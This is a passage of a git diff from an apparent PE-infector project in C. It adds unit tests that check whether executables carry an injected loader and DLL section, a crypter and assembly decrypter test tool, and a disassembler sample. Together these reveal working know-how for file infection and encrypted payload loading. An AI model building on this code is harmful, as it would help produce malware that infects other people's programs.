addRequest(&pkgbuf, &pkgsiz, nresp) == RSP_OK ); + free(nresp); + } + + int ret; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + while (abs_count > 0) { + if ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) { + pkg_count--; + } + abs_count--; + } + if (pkg_count != 0) + ERRPRINT_BOTH("Last parseResponse returned: %d (validPkgs/maxPkgs: %lu/%lu)", ret, validPkgs, maxPkgs); + ERRETCPLD( abs_count == 0, abs_count ); + ERRETCPLD( pkg_count == 0, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + return TRUE; +} diff --git a/source/tests/test_mem.c b/source/tests/test_mem.c new file mode 100644 index 0000000..b16012e --- /dev/null +++ b/source/tests/test_mem.c @@ -0,0 +1,17 @@ +#include "tests.h" + +#include "utils.h" + + +BOOL test_memalign(void) +{ + DWORD addr = 0x41414141; + DWORD size = 512; + DWORD algn = 512; + + ERRETCP( XMemAlign(size, algn, addr) == addr+size ); + size++; + ERRETCP( XMemAlign(size, algn, 0) == 1024 ); + ERRETCP( XMemAlign(size, algn, addr) == addr+1024 ); + return TRUE; +} diff --git a/source/tests/test_pe.c b/source/tests/test_pe.c new file mode 100644 index 0000000..bd77fce --- /dev/null +++ b/source/tests/test_pe.c @@ -0,0 +1,66 @@ +#include "tests.h" + +#include "utils.h" +#include "file.h" +#include "pe_infect.h" +#include "patch.h" +#include "xor_strings.h" + + +BOOL test_pe(char* filename) +{ + HANDLE hFile; + BYTE* buf; + SIZE_T szBuf; + struct ParsedPE ppe; + + memset(&ppe, '\0', sizeof(struct ParsedPE)); + ERRETCP( bOpenFile(filename, 0, &hFile) == TRUE ); + ERRETCP( bFileToBuf(hFile, &buf, &szBuf) == TRUE ); + ERRETCP( bParsePE(buf, szBuf, &ppe, FALSE) == TRUE ); + ERRETCP( ppe.valid == TRUE ); + ERRETCP( bIsInfected(&ppe) == FALSE ); + ERRETCP( pGetSegmentAdr(".text", TRUE, &ppe, NULL) != NULL ); + ERRETCP( pGetSegmentAdr(".data", TRUE, &ppe, NULL) != NULL ); + ERRETCP( pGetSegmentAdr(".rdata", TRUE, &ppe, NULL) != NULL ); + ERRETCP( pGetSegmentAdr(".idata", TRUE, &ppe, NULL) != NULL ); + ERRETCP( pGetSegmentAdr(".CRT", TRUE, &ppe, NULL) != NULL ); + ERRETCP( pGetSegmentAdr(LDRSECTION, TRUE, &ppe, NULL) == NULL ); + ERRETCP( pGetSegmentAdr(DLLSECTION, TRUE, &ppe, NULL) == NULL ); + ERRETCP( PtrToRva(&ppe, pGetSegmentAdr(".text", TRUE, &ppe, NULL)) != (DWORD)-1 ); + ERRETCP( PtrToRva(&ppe, pGetSegmentAdr(".text", TRUE, &ppe, NULL)) > (DWORD)ppe.hdrOptional->ImageBase ); + ERRETCP( OffsetToRva(&ppe, PtrToOffset(&ppe, pGetSegmentAdr(".text", TRUE, &ppe, NULL))) < + OffsetToRva(&ppe, PtrToOffset(&ppe, pGetSegmentAdr(".data", TRUE, &ppe, NULL))) ); + + free(buf); + CloseHandle(hFile); + + BYTE jmp[5]; + patchRelJMP(jmp, 0x44332211); + ERRETCP( strncmp((char*)jmp, "\xE9\x11\x22\x33\x44", 5) == 0 ); + + char* test_dir = dirname(filename); + char* loader_file = NULL; + asprintf(&loader_file, "%s\\loader_base.exe", test_dir); + if (bOpenFile(loader_file, 0, &hFile) == TRUE) { + ERRETCP( bFileToBuf(hFile, &buf, &szBuf) == TRUE ); + ERRETCP( bParsePE(buf, szBuf, &ppe, FALSE) == TRUE ); + ERRETCP( ppe.valid == TRUE ); + ERRETCP( ppe.hasDLL == TRUE ); + ERRETCP( ppe.hasLdr == TRUE ); + ERRETCP( bIsInfected(&ppe) == TRUE ); + ERRETCP( ppe.ptrToDLL != NULL ); + ERRETCP( ppe.ptrToLdr != NULL ); + ERRETCP( bCheckEndMarker(&ppe) == TRUE ); + ERRETCP( ppe.loader86 != NULL ); + ERRETCP( ppe.loader86->ptrToDLL != 0 ); + ERRETCP( ppe.loader86->sizOfDLL != 0 ); + size_t ldrstrsiz = sizeof(ppe.loader86->strVirtualAlloc)/sizeof(ppe.loader86->strVirtualAlloc[0]); + ERRETCP( ppe.loader86->strVirtualAlloc[ldrstrsiz-1] == '\0' ); + ERRETCP( ppe.loader86->strIsBadReadPtr[ldrstrsiz-1] == '\0' ); + DWORD dwImpLibs = dwCountNonSystemImportLibs(&ppe); + ERRETCPDW( dwImpLibs == 0, dwImpLibs ); + } else ERRPRINT_STDERR("Could not OpenFile: %s\n", loader_file); + free(loader_file); + return TRUE; +} diff --git a/source/tests/test_utils.c b/source/tests/test_utils.c new file mode 100644 index 0000000..b83fccc --- /dev/null +++ b/source/tests/test_utils.c @@ -0,0 +1,226 @@ +#include <unistd.h> +#include <time.h> + +#include "tests.h" + +#include "utils.h" +#include "crypt.h" +#include "math.h" +#include "xor_strings_gen.h" + + +BOOL test_math(void) +{ + ERRETCP( __moddi3 (100, 50) == 0 ); + ERRETCP( __moddi3 (10000, 11) != 0 ); + ERRETCP( __umoddi3(10000, 11) != 0 ); + ERRETCP( __divdi3 (100, 2) == 50); + ERRETCP( __divdi3 (1, 1) == 1 ); + ERRETCP( __divdi3 (100, 3) == 33); + ERRETCP( __divdi3 (1000,9000) == 0 ); + ERRETCP( __moddi3 (LONG_LONG_MAX, LONG_LONG_MAX) == 0 ); + ERRETCP( __moddi3 (LONG_LONG_MIN, LONG_LONG_MIN) == 0 ); + ERRETCP( __umoddi3 (LONG_LONG_MAX, LONG_LONG_MAX) == 0 ); + ERRETCP( __umoddi3 (ULONG_LONG_MAX,ULONG_LONG_MAX) == 0 ); + ERRETCP( __divdi3 (LONG_LONG_MAX,LONG_LONG_MAX ) == 1 ); + ERRETCP( __divdi3 (LONG_LONG_MIN,LONG_LONG_MIN ) == 1 ); + ERRETCP( __udivdi3 (LONG_LONG_MAX,LONG_LONG_MAX ) == 1 ); + ERRETCP( __udivdi3 (ULONG_LONG_MAX,ULONG_LONG_MAX) == 1 ); + ERRETCP( __pow(2,0) == 1 ); + ERRETCP( __pow(2,1) == 2 ); + ERRETCP( __pow(2,10) == 1024 ); + return TRUE; +} + +BOOL test_utils(void) +{ + char buf1[64], buf2[64], buf3[64]; + + memset(buf1, '\0', 64); + memset(buf2, '\0', 64); + memset(buf3, '\0', 64); + + __xultoa(0, (char*)buf1, 10); + __xultoa(ULONG_MAX, (char*)buf2, 10); + __xultoa(LONG_MAX, (char*)buf3, 10); + ERRETCP( strcmp(buf1, "0") == 0 ); + ERRETCP( strcmp(buf2, "4294967295") == 0 ); + ERRETCP( strcmp(buf3, "2147483647") == 0 ); + ERRETCP( strlen(buf1) == strlen("0") ); + ERRETCP( strlen(buf2) == strlen("4294967295") ); + ERRETCP( strlen(buf3) == strlen("2147483647") ); + + memset(buf1, '\0', 64); + memset(buf2, '\0', 64); + memset(buf3, '\0', 64); + + __xltoa(LONG_MAX, (char*)buf1, 10); + __xltoa(LONG_MIN, (char*)buf2, 10); + __xltoa(0, (char*)buf3, 10); + ERRETCP( strcmp(buf1, "2147483647") == 0 ); + ERRETCP( strcmp(buf2, "-2147483648") == 0 ); + ERRETCP( strcmp(buf3, "0") == 0 ); + ERRETCP( strlen(buf1) == strlen("2147483647") ); + ERRETCP( strlen(buf2) == strlen("-2147483648") ); + ERRETCP( strlen(buf3) == strlen("0") ); + + char* buf4 = "AA1122334455667788990"; + SIZE_T siz = 0; + char* result = __xbintostr((BYTE*)buf4, strlen(buf4), 2, &siz); + ERRETCP( siz == strlen("4141 3131 3232 3333 3434 3535 3636 3737 3838 3939 30") ); + ERRETCP( strcmp(result, "4141 3131 3232 3333 3434 3535 3636 3737 3838 3939 30") == 0 ); + __xfree(result); + + BYTE* buf5 = COMPAT(calloc)(256, sizeof(char)); + for (int i = 0; i < 256; ++i) + buf5[i] = i; + result = __xbintostr(buf5, 256, 0, NULL); + ERRETCP( strlen(result) == 256*2 ); + ERRETCP( strcmp(result, "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F" \ + "202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F" \ + "404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F" \ + "606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F" \ + "808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9F" \ + "A0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBF" \ + "C0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDF" \ + "E0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF") == 0 ); + __xfree(result); + + + char* buf6 = strdup("This is a TOP SECRET message!"); + char* buf7 = strdup(buf6); + unsigned int key = 0; + + while(key == 0) key = xor32_randomkey(); + + xor32_byte_crypt((unsigned char*)buf7, strlen(buf6), key); + ERRETCP( strcmp(buf6, buf7) != 0 ) + + xor32_byte_crypt((unsigned char*)buf7, strlen(buf6), key); + ERRETCP( strlen(buf6) == strlen(buf7) ); + ERRETCP( strcmp(buf6, buf7) == 0 ); + free(buf7); + + char buf9[COMPAT(strlen)(buf6)+1]; + char buf10[COMPAT(strlen)(buf6)+1]; + + COMPAT(memcpy)(&buf9[0], buf6, strlen(buf6)); + buf9[COMPAT(strlen)(buf6)] = '\0'; + xor32_byte_crypt((unsigned char*)&buf9[0], COMPAT(strlen)(buf6), key); + + memcpy(&buf10[0], &buf9[0], COMPAT(strlen)(buf6)); + buf10[COMPAT(strlen)(buf6)] = '\0'; + xor32_byte_crypt((unsigned char*)&buf10[0], COMPAT(strlen)(buf6), key); + + ERRETCP( strlen(buf6) == strlen(buf10) ); + ERRETCP( strcmp(buf6, buf9) != 0 ); + ERRETCP( strcmp(buf6, buf10) == 0 ); + free(buf6); + + buf6 = strdup("We want to search a _substring_ in this _string_ !!"); + ERRETCP( COMPAT(strnstr)(buf6, "_substring_", strlen(buf6)) != NULL ); + ERRETCP( COMPAT(strnstr)(buf6, "_string_ !!", strlen(buf6)) != NULL ); + ERRETCP( COMPAT(strnstr)(buf6, "_noonexistant_", strlen(buf6)) == NULL ); + free(buf6); + + buf6 = test_randstring(65535); + ERRETCP( COMPAT(strnstr)(buf6, "this string should not be found or you got bad luck", strlen(buf6)) == NULL ); + COMPAT(free)(buf6); + + buf6 = strdup("We test if _SubString_ works with strnistr(...)"); + ERRETCP( COMPAT(strnistr)(buf6, "_substring_", strlen(buf6)) != NULL ); + ERRETCP( COMPAT(strnistr)(buf6, "_sUBsTrinG_", strlen(buf6)) != NULL ); + ERRETCP( COMPAT(strnistr)(buf6, "_NOTsubstring_", strlen(buf6)) == NULL ); + ERRETCP( COMPAT(strnistr)(buf6, "STRNISTR(...)", strlen(buf6)) != NULL ); + ERRETCP( COMPAT(strnistr)(buf6, "STRNISTR(...)!", strlen(buf6)) == NULL ); + free(buf6); + + buf6 = test_randstring(65535); + buf7 = test_randstring(4096); + ERRETCP( COMPAT(strnistr)(buf6, buf7, strlen(buf6)) == NULL ); + ERRETCP( COMPAT(strnstr)(buf6, buf7, strlen(buf6)) == NULL ); + COMPAT(free)(buf6); + COMPAT(free)(buf7); + + char* garbage = __genGarbageFormatStr(512); + ERRETCP( garbage != NULL ); + ERRETCP( strlen(garbage) > 500 ); + COMPAT(free)(garbage); + + struct LogicalDrives devs[32]; + DWORD devnum = dwEnumDrives(&devs[0], sizeof(devs)/sizeof(devs[0])); + for (DWORD i = 0; i < devnum; ++i) { + ERRETCPDW( devs[i].devType > 0, devs[i].devType ); + size_t len = strnlen(devs[i].name, MAX_PATH); + ERRETCP( len > 0 && len <= MAX_PATH ); + if (devs[i].devType == 2 || devs[i].devType == 3) /* DRIVE_REMOVABLE || DRIVE_FIXED */ + { + ERRETCP( devs[i].bytesPerSectorsPerCluster > 0 ); + ERRETCP( devs[i].totalClusters > 0 ); + } + } + +/* + // TODO: __pseudoRandom needs an update (not "Random" at all) + const unsigned max_rnd = 256; + const unsigned rnd_siz = 128; + unsigned char rnd[max_rnd][rnd_siz]; + memset(&rnd[0][0], 0, sizeof(rnd)); + for (unsigned i = 0; i < max_rnd; ++i) { + __pseudoRandom(rnd[i], rnd_siz); + } + for (unsigned i = 0; i < max_rnd; ++i) { + for (unsigned j = 0; j < max_rnd; ++j) { + if (i == j) + continue; + ERRETCP( memcmp(&rnd[i][0], &rnd[j][0], rnd_siz) != 0 ); + } + } +*/ + + char tok_str[] = "This is a sentence seperated with whitespaces without punctuation"; + const unsigned tok_nmb = 9; + char* tok_next = tok_str; + char* tok_cur = NULL; + unsigned tok_n = 0; + while ((tok_cur = qtok(tok_next, &tok_next)) != NULL && *tok_cur) { + tok_n++; + } + ERRETCP( tok_n == tok_nmb ); + + char* str_numbers[] = { "32", "64", "128", "256", "512", "-1", "2700000", "-2700000", "1024e" }; + for (unsigned i = 0; i < sizeof(str_numbers)/sizeof(str_numbers[0]); ++i) { + char* saveptr = NULL; + long nmb = COMPAT(strtol)(str_numbers[i], &saveptr, 10); + ERRETCPDW( nmb != 0, nmb ); + long rnmb = strtol(str_numbers[i], &saveptr, 10); + ERRETCPDW( nmb == rnmb, rnmb ); + } + char* str_not_numbers[] = { "abcdef", "abc1024", "a32b32", "a string" }; + for (unsigned i = 0; i < sizeof(str_not_numbers)/sizeof(str_not_numbers[0]); ++i) { + char* saveptr = NULL; + long nmb = COMPAT(strtol)(str_not_numbers[i], &saveptr, 10); + ERRETCPDW( nmb == 0, nmb ); + long rnmb = strtol(str_not_numbers[i], &saveptr, 10); + ERRETCPDW( nmb == rnmb, rnmb ); + } + const unsigned max_hex = 64; + for (unsigned i = 0; i < max_hex; ++i) { + char* tmp_hex = test_randhexstring(6); + long nmb = COMPAT(strtol)(tmp_hex, NULL, 16); + long rnmb = strtol(tmp_hex, NULL, 16); + ERRETCPDW( nmb == rnmb, rnmb ); + COMPAT(free)(tmp_hex); + } + +#if defined(i386) || defined(i686) + atomic_val aval = 0; + ERRETCPDW( aval == 0, aval ); + atomic_inc(&aval); + ERRETCPDW( aval == 1, aval ); + atomic_val retval = atomic_xchg(&aval, 2); + ERRETCPDW( aval == 2, aval ); + ERRETCPDW( retval == 1, retval ); +#endif + return TRUE; +} diff --git a/source/tests/tests.h b/source/tests/tests.h new file mode 100644 index 0000000..84135d8 --- /dev/null +++ b/source/tests/tests.h @@ -0,0 +1,128 @@ +#ifndef TESTS_H_INCLUDED +#define TESTS_H_INCLUDED + +#ifndef _RUN_TESTS +#error "_RUN_TESTS has to be defined" +#endif +#include "compat.h" + +#include <stdio.h> +#include <libgen.h> + + +#define MYASSERT_LOGFILE logfile +extern FILE* MYASSERT_LOGFILE; + +extern unsigned test_count; +extern unsigned test_faild; + +#define ERRPRINT(file, fmt, ...) { \ + char* __erret_str = strdup(__FILE__); \ + if (__erret_str != NULL) { \ + char* __erret_base = basename(__erret_str); \ + fprintf(file, "%s.%d: " fmt "\n", (__erret_base != NULL ? __erret_base : "NULL"), __LINE__, ##__VA_ARGS__); \ + free(__erret_str); \ + } \ + } +#define ERRPRINT_STDERR(fmt, ...) \ + ERRPRINT(stderr, fmt, __VA_ARGS__) +#define ERRPRINT_LOGFILE(fmt, ...) \ + if (MYASSERT_LOGFILE != NULL) { ERRPRINT(MYASSERT_LOGFILE, fmt, __VA_ARGS__); fflush(MYASSERT_LOGFILE); } +#define ERRPRINT_BOTH(fmt, ...) \ + ERRPRINT(stderr, fmt, __VA_ARGS__) \ + ERRPRINT_LOGFILE(fmt, __VA_ARGS__) + +#define MYASSERT_RETVAL retval +#define MYASSERT_RETVAL_DEF int MYASSERT_RETVAL = 0; +#define MYASSERT_LOG "tests.log" +#define MYASSERT_LOGDEF FILE* MYASSERT_LOGFILE = NULL +#define MYASSERT_INIT \ + MYASSERT_RETVAL_DEF; \ + if ((MYASSERT_LOGFILE = fopen(MYASSERT_LOG, "w")) == NULL) { \ + ERRPRINT_BOTH("Could not open \"%s\" for writing.\n", MYASSERT_LOG); \ + } else ERRPRINT_BOTH("Logfile-Init: %s", MYASSERT_LOG); + +#define MYASSERT_RETURN \ + fclose(MYASSERT_LOGFILE); \ + return MYASSERT_RETVAL; + +#define MYASSERT(expr) { \ + ERRPRINT_LOGFILE("MYASSERT: %s", #expr); \ + if ((expr) != TRUE) { \ + fprintf_setw(stderr, 50, "%s", #expr); \ + ERRPRINT_BOTH("FAILED with ERROR: %d", (int)GetLastError()); \ + MYASSERT_RETVAL++; \ + } else { \ + fprintf_setw(stderr, 50, "%s", #expr); \ + fprintf(stderr, "%s\n", "SUCCEEDED"); \ + } \ + } + +#define MYASSERT_SILENT(expr) { \ + ERRPRINT_LOGFILE("MYASSERT_SILENT: %s", #expr); \ + int outfd = dup(fileno(stdout)); \ + int stdfd = fileno(stdout); \ + close(stdfd); \ + dup2(null_dev, stdfd); \ + BOOL ret = (expr); \ + close(stdfd); \ + dup2(outfd, stdfd); \ + close(outfd); \ + if (ret != TRUE) { \ + fprintf_setw(stderr, 50, "%s", #expr); \ + ERRPRINT_BOTH("FAILED with ERROR: %d", (int)GetLastError()); \ + } else { \ + fprintf_setw(stderr, 50, "%s", #expr); \ + fprintf(stderr, "%s\n", "SUCCEEDED"); \ + } \ + } + + +#define _ERRETCP(expr) { test_count++; if ( (expr) != TRUE ) { test_faild++; ERRPRINT_BOTH("(%s) != TRUE", #expr); return FALSE; } } +#define ERRETCP(expr) { ERRPRINT_LOGFILE("ERRETCP: %s", #expr); _ERRETCP(expr); } +#define ERRETCP_NOLOG(expr) { _ERRETCP(expr); } + +#define _ERRETCPDW(expr, val) { test_count++; if ( (expr) != TRUE ) { test_faild++; ERRPRINT_BOTH("(%s) != TRUE , %s = %lu (0x%lX)", #expr, #val, (unsigned long)val, (unsigned long)val); return FALSE; } } +#define ERRETCPDW(expr, val) { ERRPRINT_LOGFILE("ERRETCPDW: %s , %s = %lu (0x%lX) (", #expr, #val, (unsigned long)val, (unsigned long)val); _ERRETCPDW(expr, val); } +#define ERRETCPDW_NOLOG(expr, val) { _ERRETCPDW(expr, val); } + +#define _ERRETCPLD(expr, val) { test_count++; if ( (expr) != TRUE ) { test_faild++; ERRPRINT_BOTH("(%s) != TRUE , %s = %ld (0x%lX)", #expr, #val, (long)val, (unsigned long)val); return FALSE; } } +#define ERRETCPLD(expr, val) { ERRPRINT_LOGFILE("ERRETCPL: %s , %s = %ld (0x%lX) (", #expr, #val, (long)val, (unsigned long)val); _ERRETCPDW(expr, val); } +#define ERRETCPLD_NOLOG(expr, val) { _ERRETCPDW(expr, val); } + + +extern int null_dev; + +char* test_randstring(size_t length); + +char* test_randhexstring(size_t length); + +int fprintf_setw(FILE *stream, size_t s_maxlen, const char *format, ...); + +BOOL test_memmove(void); + +BOOL test_realloc(void); + +BOOL test_memalign(void); + +BOOL test_heap(void); + +BOOL test_mem(void); + +BOOL test_stdio(void); + +BOOL test_math(void); + +BOOL test_utils(void); + +BOOL test_distorm(void); + +BOOL test_aes(void); + +BOOL test_crypt(void); + +BOOL test_pe(char* filename); + +BOOL test_http(void); + +#endif // TESTS_H_INCLUDED diff --git a/source/tools/decrypter.c b/source/tools/decrypter.c new file mode 100644 index 0000000..fcdbb72 --- /dev/null +++ b/source/tools/decrypter.c @@ -0,0 +1,116 @@ +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#ifdef __MINGW32__ +#include <windows.h> +#else +#define __cdecl +#include <string.h> +#endif + +#ifndef i386 +#error "decrypter does work with 32 bit compilation mode only at the moment" +#endif + +#include "crypt.h" +#include "helper.h" + + +/* see source/decrypter_x86.asm */ +__cdecl int decrypt_data(uint32_t* buf, uint32_t siz, uint32_t* iv, uint32_t* key, uint32_t ivkeysiz) __asm__("__decrypt_x86"); + + +int main(int argc, char** argv) +{ + bool verbose = false; + + if (argc != 2) { + fprintf(stderr, "usage: %s [TESTFILE]\n", argv[0]); + return -1; + } + + if (getenv("VERBOSE") != NULL) { + if (strcmp(getenv("VERBOSE"), "1") == 0) { + verbose = true; + } else { + fprintf(stderr, "%s: quiet mode, activate verbose mode with `export VERBOSE=1`\n", argv[0]); + } + } + + /* decrypter test */ + printf("Decrypter........: 0x%p\n", decrypt_data); + + size_t bufsiz = 0; + char* buf = mapfile(argv[1], &bufsiz); + if (!buf) { + return 1; + } + printf("buffer size......: 0x%p (%lu)\n", (void*)bufsiz, (long unsigned int)bufsiz); + + uint32_t iv[] = { xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey() }; + uint32_t key[] = { xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey() }; + size_t ivkeysiz = sizeof(iv)/sizeof(uint32_t); + + printf("\n---------- Crypter ----------\n"); + printf("plain buffer adr.: 0x%p\n", buf); + printf("iv adr...........: 0x%p\n", &iv[0]); + printf("key adr..........: 0x%p\n", &key[0]); + if (verbose) { + char* bufdata = bintostr(buf, bufsiz, 1, NULL); + printf("buffer...........: %s\n", bufdata); + free(bufdata); + } + char* ivdata = bintostr((char*)&iv[0] , sizeof(iv), 1, NULL); + char* keydata = bintostr((char*)&key[0], sizeof(key), 1, NULL); + printf("iv...............: %s\n", ivdata); + printf("key..............: %s\n", keydata); + + uint32_t* xorbuf = calloc( (bufsiz/sizeof(uint32_t)) + ivkeysiz, sizeof(uint32_t)); + memcpy((void*)xorbuf, buf, bufsiz); + uint32_t xorsiz = xor32n_pcbc_crypt_buf(xorbuf, bufsiz, &iv[0], &key[0], ivkeysiz); + printf("encryoted buf adr: 0x%p\n", xorbuf); + printf("encrypted size...: 0x%p (%lu)\n", (void*)xorsiz, (long unsigned int)xorsiz); + + char* plainbuf = calloc(xorsiz, sizeof(char)); + memcpy((void*)plainbuf, (void*)xorbuf, xorsiz); + xor32n_pcbc_crypt_buf((uint32_t*)plainbuf, xorsiz, &iv[0], &key[0], ivkeysiz); + + if (verbose) { + printf("xor32n_pcbc......: "); + char* xordata = bintostr((char*)xorbuf, xorsiz, 1, NULL); + printf("%s\n", xordata); + free(xordata); + + printf("plaintext........: "); + char* plaindata = bintostr((char*)plainbuf, bufsiz, 1, NULL); + printf("%s\n", plaindata); + free(plaindata); + } + + int retval = decrypt_data(xorbuf, xorsiz, &iv[0], &key[0], ivkeysiz); + printf("\n--------- Decrypter ---------\n"); + printf("retval...........: 0x%p (%d)\n", (void*)retval, retval); + if (verbose) { + printf("decrypted........: "); + char* decpdata = bintostr((char*)xorbuf, bufsiz, 1, NULL); + printf("%s\n", decpdata); + free(decpdata); + } + + if (memcmp(plainbuf, buf, bufsiz) != 0) { + fprintf(stderr, "%s: c decrypter failed to decrypt data correctly\n", argv[0]); + return 1; + } + if (memcmp(xorbuf, plainbuf, xorsiz) != 0) { + fprintf(stderr, "%s: asm decrypter failed to decrypt data correctly\n", argv[0]); + return 1; + } + fprintf(stderr, "\n%s: success\n", argv[0]); + + free(plainbuf); + free(xorbuf); + free(keydata); + free(ivdata); + + return 0; +} diff --git a/source/tools/disasm.c b/source/tools/disasm.c new file mode 100644 index 0000000..9e5489d --- /dev/null +++ b/source/tools/disasm.c @@ -0,0 +1,234 @@ +// diStorm64 library sample +// http://ragestorm.net/distorm/ +// Arkon, Stefan, 2005 +// Mikhail, 2006 +// JvW, 2007 + +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <inttypes.h> +#include <time.h> +#include <errno.h> +#include <sys/stat.h> + +// For the compilers who don't have sysexits.h, which is not an ISO/ANSI include! +#define EX_OK 0 +#define EX_USAGE 64 +#define EX_DATAERR 65 +#define EX_NOINPUT 66 +#define EX_NOUSER 67 +#define EX_NOHOST 68 +#define EX_UNAVAILABLE 69 +#define EX_SOFTWARE 70 +#define EX_OSERR 71 +#define EX_OSFILE 72 +#define EX_CANTCREAT 73 +#define EX_IOERR 74 +#define EX_TEMPFAIL 75 +#define EX_PROTOCOL 76 +#define EX_NOPERM 77 +#define EX_CONFIG 78 + +#include "distorm/distorm.h" +#include "distorm/mnemonics.h" +#include "disasm.h" + +// The number of the array of instructions the decoder function will use to return the disassembled instructions. +// Play with this value for performance... +#define MAX_INSTRUCTIONS (1000) + + +int main(int argc, char **argv) +{ + // Holds the result of the decoding. + _DecodeResult res; + // next is used for instruction's offset synchronization. + // decodedInstructionsCount holds the count of filled instructions' array by the decoder. + unsigned int decodedInstructionsCount = 0, i, next; + + // Default decoding mode is 32 bits, could be set by command line. + _DecodeType dt = Decode32Bits; + + // Default offset for buffer is 0, could be set in command line. + _OffsetType offset = 0; + char* errch = NULL; + + // Handling file. + FILE* f; + unsigned long filesize = 0, bytesread = 0; + unsigned long long bytesproc = 0, maxbytesproc = (unsigned long long)-1; + struct stat st; + + // Buffer to disassemble. + unsigned char *buf, *buf2; + + int opt, show_usage_and_die = 0, use_internal_decode = 0; + char *filename = NULL; + while ((opt = getopt(argc, argv, "b:f:m:ip:")) != -1) { + switch (opt) { + case 'b': + if (strncmp(optarg, "16", 2) == 0) { + dt = Decode16Bits; + } else if (strncmp(optarg, "32", 2) == 0) { + dt = Decode32Bits; + } else if (strncmp(optarg, "64", 2) == 0) { + dt = Decode64Bits; + } else { + show_usage_and_die = 1; + } + break; + case 'f': + filename = strdup(optarg); + break; + case 'm': +#ifdef SUPPORT_64BIT_OFFSET + offset = strtoull(optarg, &errch, 16); +#else + offset = strtoul(optarg, &errch, 16); +#endif + break; + case 'i': + use_internal_decode = 1; + break; + case 'p': + maxbytesproc = strtoull(optarg, &errch, 16); + break; + } + } + + // Check params. + if (show_usage_and_die || !filename) { + printf("Usage: %s -i -b[16|32|64] -f[filename] -m[memory offset] -p[memory size]\r\n\tRaw disassembler output.\r\n\tMemory offset is origin of binary file in memory (address in hex).\r\n\tDefault decoding mode is -b32.\r\n\texample: %s -b16 demo.com 789a\r\n\tUse internal decoding with -i\r\n", argv[0], argv[0]); + return EX_USAGE; + } + + f = fopen(filename, "rb"); + if (f == NULL) { + perror("fopen"); + return EX_NOINPUT; + } + + if (fstat(fileno(f), &st) != 0) { + perror("fstat"); + fclose(f); + return EX_NOINPUT; + } + filesize = st.st_size; + + // We read the whole file into memory in order to make life easier, + // otherwise we would have to synchronize the code buffer as well (so instructions won't be split). + buf2 = buf = malloc(filesize); + if (buf == NULL) { + perror("File too large."); + fclose(f); + return EX_UNAVAILABLE; + } + bytesread = fread(buf, 1, filesize, f); + if (bytesread != filesize) { + perror("Can't read file into memory."); + free(buf); + fclose(f); + return EX_IOERR; + } + + fclose(f); + + buf += offset; + filesize -= offset; + + printf("bits: %d\nfilename:%s\norigin: ", dt == Decode16Bits ? 16 : dt == Decode32Bits ? 32 : 64, filename); +#ifdef SUPPORT_64BIT_OFFSET + if (dt != Decode64Bits) printf("%" PRIx64 "\n", offset); + else printf("%" PRIx64 "\n", offset); +#else + printf("%08x\n", offset); +#endif + printf("size: %" PRIx64 "\n", maxbytesproc); + + if (use_internal_decode) { + _DInst instData[MAX_INSTRUCTIONS]; + while (1) { + res = disasm(offset, (const unsigned char*)buf, filesize, dt, instData, MAX_INSTRUCTIONS, &decodedInstructionsCount); + for (i = 0; i < decodedInstructionsCount; i++) { +#ifdef SUPPORT_64BIT_OFFSET + printf("%" PRIx64 " (%" PRIu32 ") %04" PRIx16, (uint64_t)instData[i].addr, instData[i].size, instData[i].opcode); +#else + printf("%08x (%02d) %04" PRIx16, instData[i].addr, instData[i].size, instData[i].opcode); +#endif + _InstructionType optype = instData[i].opcode; + switch (optype) { + case I_DEC: printf("\tDEC"); break; + case I_INC: printf("\tINC"); break; + case I_ADD: printf("\tADD"); break; + case I_SUB: printf("\tSUB"); break; + case I_MOV: printf("\tMOV"); break; + case I_PUSH: printf("\tPUSH"); break; + case I_POP: printf("\tPOP"); break; + case I_NOP: printf("\tNOP"); break; + case I_JMP: printf("\tJMP"); break; + case I_JMP_FAR: printf("\tJMP FAR"); break; + case I_CALL: printf("\tCALL"); break; + case I_CALL_FAR: printf("\tCALL FAR"); break; + case I_RET: printf("\tRET"); break; + } + printf("\r\n"); + bytesproc += instData[i].size; + if (bytesproc >= maxbytesproc) break; + } + + if (res == DECRES_SUCCESS) break; + else if (decodedInstructionsCount == 0) break; + if (bytesproc >= maxbytesproc) break; + next = (unsigned int)(instData[decodedInstructionsCount-1].addr - offset); + next += instData[decodedInstructionsCount-1].size; + buf += next; + filesize -= next; + offset += next; + } + } else { + // Decoded instruction information. + _DecodedInst decodedInstructions[MAX_INSTRUCTIONS]; + // Decode the buffer at given offset (virtual address). + while (1) { + // If you get an undefined reference linker error for the following line, + // change the SUPPORT_64BIT_OFFSET in distorm.h. + res = distorm_decode(offset, (const unsigned char*)buf, filesize, dt, decodedInstructions, MAX_INSTRUCTIONS, &decodedInstructionsCount); + if (res == DECRES_INPUTERR) { + // Null buffer? Decode type not 16/32/64? + fputs("Input error, halting!\n", stderr); + free(buf2); + return EX_SOFTWARE; + } + + for (i = 0; i < decodedInstructionsCount; i++) { +#ifdef SUPPORT_64BIT_OFFSET + printf("%" PRIx64 " (%" PRIu64 ") %-24s %s%s%s\r\n", decodedInstructions[i].offset, (long long unsigned int)decodedInstructions[i].size, (char*)decodedInstructions[i].instructionHex.p, (char*)decodedInstructions[i].mnemonic.p, decodedInstructions[i].operands.length != 0 ? " " : "", (char*)decodedInstructions[i].operands.p); +#else + printf("%08x (%02d) %-24s %s%s%s\r\n", decodedInstructions[i].offset, decodedInstructions[i].size, 